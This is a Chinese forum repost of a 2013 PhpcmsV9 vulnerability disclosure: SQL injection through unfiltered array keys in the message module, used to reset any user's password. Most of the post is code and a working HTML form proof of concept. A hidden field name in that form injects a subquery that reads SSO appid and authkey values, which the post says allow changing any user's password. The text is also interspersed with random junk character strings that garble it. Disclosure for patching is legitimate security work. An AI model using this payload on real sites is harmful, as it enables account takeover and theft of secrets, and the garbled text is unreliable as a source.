找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2360|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
: Y6 K: G# Q( \7 E1 E+ e; g; m5 |4 `+ D2 s+ ?  y
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。' K6 W: k+ x7 Y

0 ^0 J. B8 L) P2 x! t" Q5 c明天再更新下一个漏洞。
3 T% e( J3 _5 h3 J( w  \8 G详细说明:
: ^4 m1 f( {8 ]在/phpcms9/phpcms/modules/message/index.php中有代码如下:
8 X  A- b% c/ `% ]5 L1 Q6 s; O, \. T  d1 w5 C( P4 F# ]) F, z2 W
$messageid = $this->message_db->insert($_POST['info'],true);
/ K$ P& C1 F4 O4 F% t: e
: Z, _1 }6 h. D  H# w$ r4 M& P0 m; ^$ C9 ?: {
insert方法是key value的,代码如下:
8 W! P. E* G/ [: H1 V2 E1 E8 o4 e; e  r
public function insert($data, $table, $return_insert_id = false, $replace = false) {8 E8 a0 r& k" k) m
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
2 |' ^1 m8 c  S) ?& i                        return false;- w( K( t5 w. Q
                }2 ^; H7 i1 o* t# W* x
                ) y8 v# j  D6 F8 v4 H$ y! }1 z
                $fielddata = array_keys($data);+ \/ w  T6 X9 e0 _) A
                $valuedata = array_values($data);
$ W/ ]8 f6 i; D% Q/ ?                array_walk($fielddata, array($this, 'add_special_char'));
( w; k% D% O4 N0 w- x) f                array_walk($valuedata, array($this, 'escape_string'));
5 i  h  e: M! d6 o/ R4 y1 x' U                ( f; h* J- X+ X0 D5 v; V' f
                $field = implode (',', $fielddata);- o5 F7 l0 g0 }4 I; \4 z8 g! ?6 Z
                $value = implode (',', $valuedata);
1 I. f/ E! B4 I  {* F1 d* D4 r) f% @: N
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';5 C' U9 d6 |3 u% R
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
) }! ?2 I( J# u! T: _                $return = $this->execute($sql);
. c; E5 p. S+ }& Y: L  y% j                return $return_insert_id ? $this->insert_id() : $return;
9 X. w4 D8 j7 H* N7 o; W6 r        }6 g4 ?2 @% C0 C3 U& _! _9 m
( L+ M% T# |( b! h! N  K

/ B7 `: f7 N9 l& S6 {嗯,很遗憾的是. d! l. h+ e% }

( [& v/ r% w' |3 Y8 R# h$ ?) j$ Parray_walk($fielddata, array($this, 'add_special_char'));0 |8 K- G, o6 K7 a  |, u  G/ ^- R

6 Z+ Q4 }; n- g8 {
. L. o3 A8 R% ~- c6 o中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。( Z# @- X1 C' |

' f" g4 t7 @* {+ `+ K# Z$ h到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
; f1 D# Z& a6 _5 n0 d2 G  o1 `5 G+ ]4 @( g! }- g/ I9 Q( Q3 c
漏洞证明:
. F6 p6 H- B' k% F, g3 t* m读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。3 h+ l. g% @7 N% [5 {6 V" U  `; J- K

1 g+ u3 j9 I6 h4 L2 ]9 ^9 O% q8 ^5 Y- s* r- m0 ]
表单如下:用户名什么的得自己改一改。! ^4 j, X# F$ r% W
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
# a4 N0 E% \2 x; v& K<table width="100%" cellspacing="0" class="table_form">
% f  B3 m1 R0 z9 w  L, k<tr>
+ f4 w* ?' k% O. m- I4 t* O<th>标 题:</th>
: U8 I5 k3 j4 ?* q9 K- G) u<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>* R: k5 ?1 u( t( }
</tr>
. g0 }; v; i8 S, }/ C<tr>
# L, C, z  \9 }' `) `- g* X) O<th>内 容:</th>, D, y" b# t4 Z  w3 ]
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
& A$ ~' o, y( z</tr>
4 R5 r2 @  t, ^7 X% {, j<input type="hidden" name="info[replyid]" value="2" /> , `: J+ J, k+ I" M0 Z2 W! y
<input type="hidden" name="info[send_to_id]" value="cc" /> ; S1 U) `0 _2 F& K8 m/ u
<input type="hidden" name="info[send_from_id]" value="hh">
  l- m  L7 W8 b0 M, t5 P<!-- 漏洞的利用重点在这里开始 -->
- p% C& e  Y. z  d5 r) c<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> 7 O8 {' X7 _: x
<!-- 漏洞的利用重点在这里结束 -->; ]( ?& H6 C. m, P3 D
<tr>
5 E8 i% H  J5 m8 C5 a3 w& m5 u<th>验证码:</th>4 S' D0 w/ Q/ \/ H
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>7 P3 e' n) }) c% G
</tr>5 d* I% w, ]( ]
<tr>" A0 g: K8 w' ]) Q1 P3 f/ |5 Y
<td></td>+ R( P9 F- _: u# W
<td colspan="2"><label>
5 F5 Q. \% x) y. |) D( Q1 R0 x<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
" x' {- j. @" L: n! U/ ~! R</label></td>9 x/ {! J6 r* c; v
</tr>
9 d* x' w$ e+ r  X  u- [/ P7 b" B</table>
0 Z4 O* D" H( e* `+ [</form>
" e1 @3 J5 j7 r  T  N' K' W在add_special_char函数内对key做过滤就可以了。
) x# m: s! ]8 H; K  h) S
. J4 Q6 H/ @& f$ G2 A4 u/ e2 N/ D& S; l

# h2 |9 z: ?& y# m1 J% `

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表